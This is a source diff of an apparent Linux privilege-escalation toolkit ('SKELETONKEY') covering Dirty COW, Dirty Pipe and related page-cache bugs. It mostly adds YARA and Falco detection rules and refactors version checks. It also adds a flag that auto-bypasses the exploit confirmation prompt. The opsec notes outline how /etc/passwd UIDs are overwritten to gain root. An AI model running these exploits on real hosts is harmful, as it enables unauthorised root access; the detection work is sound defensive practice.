if (ctx->host && !ctx->host->unprivileged_userns_allowed) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] %s: unprivileged user namespaces are "
|
||||
"disabled (host fingerprint) — XFRM/RxRPC variant "
|
||||
"unreachable here%s\n", modname,
|
||||
ctx->host->apparmor_restrict_userns
|
||||
? "; AppArmor restriction is on" : "");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* ----- Family-wide --mitigate / --cleanup -----
|
||||
*
|
||||
* The family-wide mitigation (blacklist algif_aead + esp4 + esp6 + rxrpc,
|
||||
@@ -127,6 +157,82 @@ static const char copy_fail_family_sigma[] =
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2026.31431, cve.2026.43284, cve.2026.43500]\n";
|
||||
|
||||
/* YARA + Falco rules shared across the 5 family modules. Scanned via
|
||||
* --detect-rules; the dispatcher dedups by pointer so the rule blob
|
||||
* emits once even though copy_fail / copy_fail_gcm / dirty_frag_*
|
||||
* all point at the same string. */
|
||||
static const char copy_fail_family_yara[] =
|
||||
"rule etc_passwd_uid_flip : page_cache_write\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2026-31431 / CVE-2026-43284 / CVE-2026-43500\"\n"
|
||||
" description = \"/etc/passwd page-cache UID flip: a non-root user line shows a zero-padded UID (the canonical Copy Fail / Dirty Frag / DirtyDecrypt / Dirty Pipe payload). Scan /etc/passwd; legitimate root uses plain '0:', never '0000:'.\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" // lowercase-start username, optional shadow ('x') password, then UID 0000 or longer\n"
|
||||
" $uid_flip = /\\n[a-z_][a-z0-9_-]{0,30}:[^:]{0,8}:0{4,}:[0-9]+:/\n"
|
||||
" condition:\n"
|
||||
" $uid_flip\n"
|
||||
"}\n"
|
||||
"\n"
|
||||
"rule etc_passwd_root_no_password\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2026-31635 (DirtyDecrypt sliding-window write)\"\n"
|
||||
" description = \"/etc/passwd root entry rewritten to have an empty password field — the DirtyDecrypt PoC's intermediate corruption (rewrite root's password to empty, then `su root` without password).\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $root_open = /\\nroot::0:0:/ // empty password (canonical x or ! when shadowed)\n"
|
||||
" condition:\n"
|
||||
" $root_open\n"
|
||||
"}\n";
|
||||
|
||||
static const char copy_fail_family_falco[] =
|
||||
"- rule: AF_ALG authenc keyblob installed by non-root (Copy Fail primitive)\n"
|
||||
" desc: |\n"
|
||||
" A non-root process creates an AF_ALG socket and installs an\n"
|
||||
" authencesn(hmac(sha256),cbc(aes)) keyblob via ALG_SET_KEY.\n"
|
||||
" Core of the Copy Fail (CVE-2026-31431) primitive — also\n"
|
||||
" triggered by the GCM variant. AF_ALG by non-root is rare on\n"
|
||||
" most servers; tune by allow-listing your crypto-using daemons.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = socket and evt.arg[0] = 38 and not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" AF_ALG socket() by non-root (user=%user.name pid=%proc.pid\n"
|
||||
" ppid=%proc.ppid parent=%proc.pname cmdline=\"%proc.cmdline\")\n"
|
||||
" priority: WARNING\n"
|
||||
" tags: [process, cve.2026.31431, copy_fail]\n"
|
||||
"\n"
|
||||
"- rule: XFRM NETLINK_XFRM bind from unprivileged userns (Dirty Frag primitive)\n"
|
||||
" desc: |\n"
|
||||
" A NETLINK_XFRM socket is opened from inside an unprivileged\n"
|
||||
" user namespace, with subsequent XFRM_MSG_NEWSA installing an\n"
|
||||
" ESP(rfc4106(gcm(aes))) state. Core of the Dirty Frag esp/esp6\n"
|
||||
" variants — also tripped by Fragnesia's setup phase. Legitimate\n"
|
||||
" XFRM use is normally privileged (strongSwan, libreswan).\n"
|
||||
" condition: >\n"
|
||||
" evt.type = sendto and not user.uid = 0 and\n"
|
||||
" proc.aname[1] != \"\" // we want non-init userns; refine with k8s.namespace or container.id\n"
|
||||
" output: >\n"
|
||||
" NETLINK_XFRM sendto from non-root (user=%user.name pid=%proc.pid\n"
|
||||
" proc=%proc.name)\n"
|
||||
" priority: WARNING\n"
|
||||
" tags: [process, cve.2026.43284, dirty_frag]\n"
|
||||
"\n"
|
||||
"- rule: /etc/passwd modified by non-root (Copy Fail / Dirty Frag / Dirty Pipe outcome)\n"
|
||||
" desc: |\n"
|
||||
" /etc/passwd is read-only for non-root, so a non-root caller\n"
|
||||
" showing up on its open(W_OK) audit trail indicates a\n"
|
||||
" page-cache write primitive succeeded. Catches the post-fire\n"
|
||||
" state for the whole copy_fail family + dirty_pipe.\n"
|
||||
" condition: >\n"
|
||||
" open_write and fd.name = /etc/passwd and not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" Non-root write to /etc/passwd (user=%user.name pid=%proc.pid\n"
|
||||
" proc=%proc.name)\n"
|
||||
" priority: CRITICAL\n"
|
||||
" tags: [filesystem, mitre_privilege_escalation, T1068, copy_fail, dirty_frag]\n";
|
||||
|
||||
const struct skeletonkey_module copy_fail_module = {
|
||||
.name = "copy_fail",
|
||||
.cve = "CVE-2026-31431",
|
||||
@@ -139,8 +245,10 @@ const struct skeletonkey_module copy_fail_module = {
|
||||
.cleanup = copy_fail_family_cleanup,
|
||||
.detect_auditd = copy_fail_family_auditd,
|
||||
.detect_sigma = copy_fail_family_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_yara = copy_fail_family_yara,
|
||||
.detect_falco = copy_fail_family_falco,
|
||||
.opsec_notes = "Family-shared infrastructure (copy_fail, copy_fail_gcm, dirty_frag_esp/esp6, dirty_frag_rxrpc): all exploit a page-cache write primitive against /etc/passwd (UID flip to all-zeros) or install a persistent backdoor. Audit-visible via socket(AF_ALG) (a0=38), setsockopt(XFRM), AF_UNIX setup. Detection rules watch /etc/passwd, /etc/shadow, /etc/sudoers, /usr/bin/su for non-root writes. Family mitigation blacklists algif_aead/esp4/esp6/rxrpc and sets apparmor_restrict_unprivileged_userns=1. Cleanup evicts /etc/passwd from page cache and reverts mitigation conf.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
/* ----- copy_fail_gcm (variant, no CVE) ----- */
|
||||
@@ -148,6 +256,8 @@ const struct skeletonkey_module copy_fail_module = {
|
||||
static skeletonkey_result_t copy_fail_gcm_detect_wrap(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
apply_ctx(ctx);
|
||||
skeletonkey_result_t pre = cff_check_userns("copy_fail_gcm", ctx);
|
||||
if (pre != SKELETONKEY_OK) return pre;
|
||||
return (skeletonkey_result_t)copyfail_gcm_detect();
|
||||
}
|
||||
|
||||
@@ -169,8 +279,10 @@ const struct skeletonkey_module copy_fail_gcm_module = {
|
||||
.cleanup = copy_fail_family_cleanup,
|
||||
.detect_auditd = copy_fail_family_auditd,
|
||||
.detect_sigma = copy_fail_family_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_yara = copy_fail_family_yara,
|
||||
.detect_falco = copy_fail_family_falco,
|
||||
.opsec_notes = "Family-shared infrastructure (copy_fail, copy_fail_gcm, dirty_frag_esp/esp6, dirty_frag_rxrpc): all exploit a page-cache write primitive against /etc/passwd (UID flip to all-zeros) or install a persistent backdoor. Audit-visible via socket(AF_ALG) (a0=38), setsockopt(XFRM), AF_UNIX setup. Detection rules watch /etc/passwd, /etc/shadow, /etc/sudoers, /usr/bin/su for non-root writes. Family mitigation blacklists algif_aead/esp4/esp6/rxrpc and sets apparmor_restrict_unprivileged_userns=1. Cleanup evicts /etc/passwd from page cache and reverts mitigation conf.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
/* ----- dirty_frag_esp (CVE-2026-43284 v4) ----- */
|
||||
@@ -178,6 +290,8 @@ const struct skeletonkey_module copy_fail_gcm_module = {
|
||||
static skeletonkey_result_t dirty_frag_esp_detect_wrap(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
apply_ctx(ctx);
|
||||
skeletonkey_result_t pre = cff_check_userns("dirty_frag_esp", ctx);
|
||||
if (pre != SKELETONKEY_OK) return pre;
|
||||
return (skeletonkey_result_t)dirtyfrag_esp_detect();
|
||||
}
|
||||
|
||||
@@ -199,8 +313,10 @@ const struct skeletonkey_module dirty_frag_esp_module = {
|
||||
.cleanup = copy_fail_family_cleanup,
|
||||
.detect_auditd = copy_fail_family_auditd,
|
||||
.detect_sigma = copy_fail_family_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_yara = copy_fail_family_yara,
|
||||
.detect_falco = copy_fail_family_falco,
|
||||
.opsec_notes = "Family-shared infrastructure (copy_fail, copy_fail_gcm, dirty_frag_esp/esp6, dirty_frag_rxrpc): all exploit a page-cache write primitive against /etc/passwd (UID flip to all-zeros) or install a persistent backdoor. Audit-visible via socket(AF_ALG) (a0=38), setsockopt(XFRM), AF_UNIX setup. Detection rules watch /etc/passwd, /etc/shadow, /etc/sudoers, /usr/bin/su for non-root writes. Family mitigation blacklists algif_aead/esp4/esp6/rxrpc and sets apparmor_restrict_unprivileged_userns=1. Cleanup evicts /etc/passwd from page cache and reverts mitigation conf.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
/* ----- dirty_frag_esp6 (CVE-2026-43284 v6) ----- */
|
||||
@@ -208,6 +324,8 @@ const struct skeletonkey_module dirty_frag_esp_module = {
|
||||
static skeletonkey_result_t dirty_frag_esp6_detect_wrap(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
apply_ctx(ctx);
|
||||
skeletonkey_result_t pre = cff_check_userns("dirty_frag_esp6", ctx);
|
||||
if (pre != SKELETONKEY_OK) return pre;
|
||||
return (skeletonkey_result_t)dirtyfrag_esp6_detect();
|
||||
}
|
||||
|
||||
@@ -229,8 +347,10 @@ const struct skeletonkey_module dirty_frag_esp6_module = {
|
||||
.cleanup = copy_fail_family_cleanup,
|
||||
.detect_auditd = copy_fail_family_auditd,
|
||||
.detect_sigma = copy_fail_family_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_yara = copy_fail_family_yara,
|
||||
.detect_falco = copy_fail_family_falco,
|
||||
.opsec_notes = "Family-shared infrastructure (copy_fail, copy_fail_gcm, dirty_frag_esp/esp6, dirty_frag_rxrpc): all exploit a page-cache write primitive against /etc/passwd (UID flip to all-zeros) or install a persistent backdoor. Audit-visible via socket(AF_ALG) (a0=38), setsockopt(XFRM), AF_UNIX setup. Detection rules watch /etc/passwd, /etc/shadow, /etc/sudoers, /usr/bin/su for non-root writes. Family mitigation blacklists algif_aead/esp4/esp6/rxrpc and sets apparmor_restrict_unprivileged_userns=1. Cleanup evicts /etc/passwd from page cache and reverts mitigation conf.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
/* ----- dirty_frag_rxrpc (CVE-2026-43500) ----- */
|
||||
@@ -238,6 +358,8 @@ const struct skeletonkey_module dirty_frag_esp6_module = {
|
||||
static skeletonkey_result_t dirty_frag_rxrpc_detect_wrap(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
apply_ctx(ctx);
|
||||
skeletonkey_result_t pre = cff_check_userns("dirty_frag_rxrpc", ctx);
|
||||
if (pre != SKELETONKEY_OK) return pre;
|
||||
return (skeletonkey_result_t)dirtyfrag_rxrpc_detect();
|
||||
}
|
||||
|
||||
@@ -259,8 +381,10 @@ const struct skeletonkey_module dirty_frag_rxrpc_module = {
|
||||
.cleanup = copy_fail_family_cleanup,
|
||||
.detect_auditd = copy_fail_family_auditd,
|
||||
.detect_sigma = copy_fail_family_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_yara = copy_fail_family_yara,
|
||||
.detect_falco = copy_fail_family_falco,
|
||||
.opsec_notes = "Family-shared infrastructure (copy_fail, copy_fail_gcm, dirty_frag_esp/esp6, dirty_frag_rxrpc): all exploit a page-cache write primitive against /etc/passwd (UID flip to all-zeros) or install a persistent backdoor. Audit-visible via socket(AF_ALG) (a0=38), setsockopt(XFRM), AF_UNIX setup. Detection rules watch /etc/passwd, /etc/shadow, /etc/sudoers, /usr/bin/su for non-root writes. Family mitigation blacklists algif_aead/esp4/esp6/rxrpc and sets apparmor_restrict_unprivileged_userns=1. Cleanup evicts /etc/passwd from page cache and reverts mitigation conf.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
/* ----- Family registration ----- */
|
||||
|
||||
@@ -31,6 +31,7 @@ bool dirtyfail_use_color = true;
|
||||
bool dirtyfail_active_probes = false;
|
||||
bool dirtyfail_no_revert = false;
|
||||
bool dirtyfail_json = false;
|
||||
bool dirtyfail_assume_yes = false;
|
||||
|
||||
static void vlog(FILE *out, const char *prefix, const char *color,
|
||||
const char *fmt, va_list ap)
|
||||
@@ -226,6 +227,19 @@ size_t build_authenc_keyblob(unsigned char *out,
|
||||
|
||||
bool typed_confirm(const char *expected)
|
||||
{
|
||||
/* When the caller has already cleared an explicit authorization gate
|
||||
* (SKELETONKEY's --i-know, forwarded via dirtyfail_assume_yes), the
|
||||
* DIRTYFAIL typed prompt is redundant and would deadlock non-interactive
|
||||
* runs like `skeletonkey --auto --i-know`. Auto-satisfy it.
|
||||
*
|
||||
* The SSH self-lockout guard (YES_BREAK_SSH) is deliberately exempt:
|
||||
* it protects the operator's own access rather than gating
|
||||
* authorization, so it always requires an interactive answer. */
|
||||
if (dirtyfail_assume_yes && strcmp(expected, "YES_BREAK_SSH") != 0) {
|
||||
log_step("confirmation gate '%s' auto-satisfied (--i-know)", expected);
|
||||
return true;
|
||||
}
|
||||
|
||||
char buf[128];
|
||||
printf(" Type \033[1;33m%s\033[0m and press enter to proceed: ", expected);
|
||||
fflush(stdout);
|
||||
|
||||
@@ -86,6 +86,14 @@ extern bool dirtyfail_no_revert;
|
||||
* is redirected to stderr. Set by --json. */
|
||||
extern bool dirtyfail_json;
|
||||
|
||||
/* When true, typed_confirm() auto-satisfies its gate instead of reading
|
||||
* stdin — the caller has already cleared an explicit authorization gate.
|
||||
* SKELETONKEY's bridge layer sets this from skeletonkey_ctx.authorized
|
||||
* (i.e. the --i-know flag) so non-interactive runs like
|
||||
* `skeletonkey --auto --i-know` don't deadlock on the DIRTYFAIL prompt.
|
||||
* The YES_BREAK_SSH self-lockout guard is exempt — see typed_confirm(). */
|
||||
extern bool dirtyfail_assume_yes;
|
||||
|
||||
void log_step (const char *fmt, ...) __attribute__((format(printf, 1, 2)));
|
||||
void log_ok (const char *fmt, ...) __attribute__((format(printf, 1, 2)));
|
||||
void log_bad (const char *fmt, ...) __attribute__((format(printf, 1, 2)));
|
||||
|
||||
@@ -43,15 +43,19 @@
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
#include <stdatomic.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/host.h"
|
||||
#include <stdint.h>
|
||||
#include <stdatomic.h>
|
||||
#include <fcntl.h>
|
||||
#include <errno.h>
|
||||
#include <pwd.h>
|
||||
@@ -68,7 +72,7 @@ static const struct kernel_patched_from dirty_cow_patched_branches[] = {
|
||||
{3, 16, 38},
|
||||
{3, 18, 43},
|
||||
{4, 4, 26}, /* Ubuntu 16.04 baseline */
|
||||
{4, 7, 10},
|
||||
{4, 7, 8}, /* Debian tracker: earlier than 4.7.10 */
|
||||
{4, 8, 3},
|
||||
{4, 9, 0}, /* mainline fix */
|
||||
};
|
||||
@@ -228,22 +232,27 @@ static void revert_passwd_page_cache(void)
|
||||
|
||||
static skeletonkey_result_t dirty_cow_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
struct kernel_version v;
|
||||
if (!kernel_version_current(&v)) {
|
||||
fprintf(stderr, "[!] dirty_cow: could not parse kernel version\n");
|
||||
/* Consult the shared host fingerprint instead of calling
|
||||
* kernel_version_current() ourselves — populated once at startup
|
||||
* and identical across every module's detect(). */
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] dirty_cow: host fingerprint missing kernel "
|
||||
"version — bailing\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
bool patched = kernel_range_is_patched(&dirty_cow_range, &v);
|
||||
bool patched = kernel_range_is_patched(&dirty_cow_range, v);
|
||||
if (patched) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] dirty_cow: kernel %s is patched\n", v.release);
|
||||
fprintf(stderr, "[+] dirty_cow: kernel %s is patched\n", v->release);
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] dirty_cow: kernel %s is in the vulnerable range\n",
|
||||
v.release);
|
||||
v->release);
|
||||
fprintf(stderr, "[i] dirty_cow: --exploit will race a write to "
|
||||
"/etc/passwd via /proc/self/mem\n");
|
||||
}
|
||||
@@ -258,7 +267,10 @@ static skeletonkey_result_t dirty_cow_exploit(const struct skeletonkey_ctx *ctx)
|
||||
return pre;
|
||||
}
|
||||
|
||||
if (geteuid() == 0) {
|
||||
/* Consult ctx->host->is_root so unit tests can construct a
|
||||
* non-root fingerprint regardless of the test process's real euid. */
|
||||
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||
if (is_root) {
|
||||
fprintf(stderr, "[i] dirty_cow: already root — nothing to escalate\n");
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
@@ -318,6 +330,34 @@ static skeletonkey_result_t dirty_cow_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
#else /* !__linux__ */
|
||||
|
||||
/* Non-Linux dev builds: the Dirty COW primitive (writer thread via
|
||||
* /proc/self/mem + madvise(MADV_DONTNEED)) is Linux-only kernel
|
||||
* surface. Stub out cleanly so the module still registers and
|
||||
* `--list` / `--detect-rules` work on macOS/BSD dev boxes — and so
|
||||
* the top-level `make` actually completes there. */
|
||||
static skeletonkey_result_t dirty_cow_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] dirty_cow: Linux-only module "
|
||||
"(/proc/self/mem + madvise race) — not applicable here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t dirty_cow_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] dirty_cow: Linux-only module — cannot run here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t dirty_cow_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
/* ---- Embedded detection rules ---- */
|
||||
|
||||
static const char dirty_cow_auditd[] =
|
||||
@@ -350,6 +390,35 @@ static const char dirty_cow_sigma[] =
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2016.5195]\n";
|
||||
|
||||
static const char dirty_cow_yara[] =
|
||||
"rule dirty_cow_cve_2016_5195 : cve_2016_5195 page_cache_write\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2016-5195\"\n"
|
||||
" description = \"Dirty COW /etc/passwd UID-flip pattern (non-root user remapped to 0000+)\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $uid_flip = /\\n[a-z_][a-z0-9_-]{0,30}:[^:]{0,8}:0{4,}:[0-9]+:/\n"
|
||||
" condition:\n"
|
||||
" $uid_flip\n"
|
||||
"}\n";
|
||||
|
||||
static const char dirty_cow_falco[] =
|
||||
"- rule: Dirty COW pwrite on /proc/self/mem by non-root\n"
|
||||
" desc: |\n"
|
||||
" Non-root pwrite() targeting /proc/self/mem at an offset that\n"
|
||||
" overlaps a private mmap of /etc/passwd. Combined with a\n"
|
||||
" racing madvise(MADV_DONTNEED) loop this is the Dirty COW\n"
|
||||
" primitive (CVE-2016-5195).\n"
|
||||
" condition: >\n"
|
||||
" evt.type = pwrite and fd.name = /proc/self/mem and\n"
|
||||
" not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" pwrite to /proc/self/mem by non-root\n"
|
||||
" (user=%user.name proc=%proc.name pid=%proc.pid)\n"
|
||||
" priority: CRITICAL\n"
|
||||
" tags: [filesystem, mitre_privilege_escalation, T1068, cve.2016.5195]\n";
|
||||
|
||||
const struct skeletonkey_module dirty_cow_module = {
|
||||
.name = "dirty_cow",
|
||||
.cve = "CVE-2016-5195",
|
||||
@@ -362,8 +431,10 @@ const struct skeletonkey_module dirty_cow_module = {
|
||||
.cleanup = dirty_cow_cleanup,
|
||||
.detect_auditd = dirty_cow_auditd,
|
||||
.detect_sigma = dirty_cow_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_yara = dirty_cow_yara,
|
||||
.detect_falco = dirty_cow_falco,
|
||||
.opsec_notes = "Two-thread race: Thread A loops pwrite(/proc/self/mem) at the user's UID offset in /etc/passwd; Thread B loops madvise(MADV_DONTNEED) on a PRIVATE mmap of /etc/passwd. Overwrites the UID field with all-zeros, then execlp('su') to claim root. UID offset is parsed from the file, not hardcoded. Audit-visible via open(/proc/self/mem) + write + madvise(MADV_DONTNEED) bursts + /etc/passwd page-cache poisoning. Cleanup callback calls posix_fadvise(POSIX_FADV_DONTNEED) on /etc/passwd and writes 3 to /proc/sys/vm/drop_caches to evict.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_dirty_cow(void)
|
||||
|
||||
@@ -32,7 +32,6 @@
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
|
||||
/* _GNU_SOURCE is passed via -D in the top-level Makefile; do not
|
||||
* redefine here (warning: redefined). */
|
||||
@@ -42,6 +41,11 @@
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
#include "../../core/kernel_range.h" /* used inside this block only */
|
||||
#include "../../core/host.h"
|
||||
#include <fcntl.h>
|
||||
#include <errno.h>
|
||||
#include <sys/stat.h>
|
||||
@@ -200,7 +204,7 @@ static void revert_passwd_page_cache(void)
|
||||
* - mainline (≥ 5.17) is patched
|
||||
*/
|
||||
static const struct kernel_patched_from dirty_pipe_patched_branches[] = {
|
||||
{5, 10, 102}, /* 5.10.x backport */
|
||||
{5, 10, 92}, /* 5.10.x backport (Debian tracker: earlier than 5.10.102) */
|
||||
{5, 15, 25}, /* 5.15.x backport */
|
||||
{5, 16, 11}, /* 5.16.x backport (mainline fix lived here briefly) */
|
||||
{5, 17, 0}, /* mainline fix lands; everything from here is fine */
|
||||
@@ -254,22 +258,27 @@ static int dirty_pipe_active_probe(void)
|
||||
|
||||
static skeletonkey_result_t dirty_pipe_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
struct kernel_version v;
|
||||
if (!kernel_version_current(&v)) {
|
||||
fprintf(stderr, "[!] dirty_pipe: could not parse kernel version\n");
|
||||
/* Consult the shared host fingerprint instead of calling
|
||||
* kernel_version_current() ourselves — populated once at startup
|
||||
* and identical across every module's detect(). */
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] dirty_pipe: host fingerprint missing kernel "
|
||||
"version — bailing\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* Bug introduced in 5.8. */
|
||||
if (v.major < 5 || (v.major == 5 && v.minor < 8)) {
|
||||
if (!skeletonkey_host_kernel_at_least(ctx->host, 5, 8, 0)) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] dirty_pipe: kernel %s predates the bug (introduced in 5.8)\n",
|
||||
v.release);
|
||||
v->release);
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
bool patched_by_version = kernel_range_is_patched(&dirty_pipe_range, &v);
|
||||
bool patched_by_version = kernel_range_is_patched(&dirty_pipe_range, v);
|
||||
|
||||
/* Active probe overrides version-only verdict when requested.
|
||||
* The version check is necessary-but-not-sufficient: distros
|
||||
@@ -284,7 +293,7 @@ static skeletonkey_result_t dirty_pipe_detect(const struct skeletonkey_ctx *ctx)
|
||||
if (probe == 1) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] dirty_pipe: ACTIVE PROBE CONFIRMED — primitive lands "
|
||||
"(version %s)\n", v.release);
|
||||
"(version %s)\n", v->release);
|
||||
}
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
@@ -307,14 +316,14 @@ static skeletonkey_result_t dirty_pipe_detect(const struct skeletonkey_ctx *ctx)
|
||||
if (patched_by_version) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] dirty_pipe: kernel %s is patched (version-only check; "
|
||||
"use --active to confirm empirically)\n", v.release);
|
||||
"use --active to confirm empirically)\n", v->release);
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] dirty_pipe: kernel %s appears VULNERABLE (version-only check)\n"
|
||||
" Confirm empirically: re-run with --scan --active\n",
|
||||
v.release);
|
||||
v->release);
|
||||
}
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
@@ -328,17 +337,20 @@ static skeletonkey_result_t dirty_pipe_exploit(const struct skeletonkey_ctx *ctx
|
||||
return pre;
|
||||
}
|
||||
|
||||
/* Resolve current user. */
|
||||
/* Resolve current user. Consult ctx->host->is_root for the
|
||||
* already-root short-circuit so unit tests can construct a
|
||||
* non-root fingerprint regardless of the test process's real euid. */
|
||||
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||
if (is_root) {
|
||||
fprintf(stderr, "[i] dirty_pipe: already running as root — nothing to escalate\n");
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
uid_t euid = geteuid();
|
||||
struct passwd *pw = getpwuid(euid);
|
||||
if (!pw) {
|
||||
fprintf(stderr, "[-] dirty_pipe: getpwuid(%d) failed: %s\n", euid, strerror(errno));
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
if (euid == 0) {
|
||||
fprintf(stderr, "[i] dirty_pipe: already running as root — nothing to escalate\n");
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* Find the UID field. Need a 4-digit-or-similar UID we can replace
|
||||
* with "0000" of identical width. Refuse if the user's UID width
|
||||
@@ -407,6 +419,34 @@ static skeletonkey_result_t dirty_pipe_cleanup(const struct skeletonkey_ctx *ctx
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
#else /* !__linux__ */
|
||||
|
||||
/* Non-Linux dev builds: splice() / F_GETPIPE_SZ / posix_fadvise() are
|
||||
* Linux-only kernel surface; the Dirty Pipe primitive is structurally
|
||||
* unreachable elsewhere. Stub out cleanly so the module still
|
||||
* registers and `--list` / `--detect-rules` work on macOS/BSD dev
|
||||
* boxes — and so the top-level `make` actually completes there. */
|
||||
static skeletonkey_result_t dirty_pipe_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] dirty_pipe: Linux-only module "
|
||||
"(splice + PIPE_BUF_FLAG_CAN_MERGE) — not applicable here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t dirty_pipe_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] dirty_pipe: Linux-only module — cannot run here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t dirty_pipe_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
/* Embedded detection rules — keep the binary self-contained so
|
||||
* `skeletonkey --detect-rules --format=auditd` works without a separate
|
||||
* data-dir install. */
|
||||
@@ -420,6 +460,39 @@ static const char dirty_pipe_auditd[] =
|
||||
"-a always,exit -F arch=b64 -S splice -k skeletonkey-dirty-pipe-splice\n"
|
||||
"-a always,exit -F arch=b32 -S splice -k skeletonkey-dirty-pipe-splice\n";
|
||||
|
||||
static const char dirty_pipe_yara[] =
|
||||
"rule dirty_pipe_passwd_uid_flip : cve_2022_0847 page_cache_write\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2022-0847\"\n"
|
||||
